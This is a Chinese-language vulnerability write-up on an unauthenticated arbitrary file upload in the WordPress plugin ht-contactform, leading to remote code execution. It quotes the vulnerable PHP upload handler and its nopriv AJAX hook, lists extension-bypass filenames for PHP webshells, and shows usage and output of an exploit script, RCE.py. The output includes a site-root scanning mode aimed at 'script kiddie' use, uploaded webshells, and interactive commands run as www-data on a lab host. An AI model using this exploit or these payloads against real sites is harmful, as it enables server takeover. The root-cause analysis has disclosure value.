漏洞位置:ht-contactform/admin/Includes/Services/FileManager.php
关键函数:temp_file_upload()
temp_file_upload 函数#63行
public function temp_file_upload($file) {
$destination = "{$this->dir}/temp";
$this->maybe_create_directories($destination);
// Validate file
$validation = $this->validate($file);
if (!$validation['valid']) {
wp_send_json_error($validation['message']);
return;
}
// Process the file
$filename = $this->process_filename($file['name']);
$file_path = "{$destination}/$filename";
// Move file to temporary directory
if (move_uploaded_file($file['tmp_name'], $file_path)) {
wp_send_json_success([
'file_id' => $filename,
'file_name' => $file['name'],
'file_size' => $file['size']
]);
return;
}
}
AJAX处理文件位置: ht-contactform/admin/Includes/Ajax.php:
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
问题: 使用了 wp_ajax_nopriv_ 钩子,这意味着未经身份验证的用户也可以访问文件上传功能。
问题根因分析:
FileManager.php 的 validate 函数中,只检查PHP上传错误,完全没有验证文件类型、扩展名或MIME类型。Fields.php 中定义了允许的文件,但是只在表单渲染时用于前端验证(accept 属性),服务器端完全没有使用这些配置进行验证。sanitize_file_name() 主要处理特殊字符,不会阻止危险扩展名,攻击者仍然可以上传 .php、.php3、.phtml 等文件;// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
问题分析:
直接攻击: 攻击者可以直接向 /wp-admin/admin-ajax.php 发送POST请求,action为 ht_form_temp_file_upload
绕过前端验证: 前端使用 accept 属性限制文件类型,但攻击者可以轻松绕过
文件执行: 上传的PHP文件可能被Web服务器执行,导致远程代码执行
shell.php.jpg
shell.php.png
shell.php.gif
shell.PHP
shell.Php
shell.pHp
shell.php%00.jpg
须知,URL是插件发布的文章才会可行,所以我增加了一个脚本小子功能02
01[单个测试]例如:
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...
[+] 漏洞利用成功!
Webshell地址: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php
[+] 进入shell交互模式,输入'exit'退出!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
退出交互模式
02[根目录测试]例如:
python RCE.py -r http://192.168.162.131:8081
[*] 请输入日期 (默认20250804):
[*] 使用的日期: 20250804
[*] 正在扫描日期: 2025-08-04
[*] 扫描地址: http://192.168.162.131:8081/2025/08/04/
[*] 发现文章2: Test.0.1
[*] 发现文章3: 8 月 4, 2025
[*] 发现文章6: 世界,您好!
[*] 发现文章7: 8 月 4, 2025
[*] 开始漏洞利用...
[*] 正在利用: http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...
[+] 漏洞利用成功!
Webshell地址: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php
[+] 进入shell交互模式,输入'exit'退出!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
退出交互模式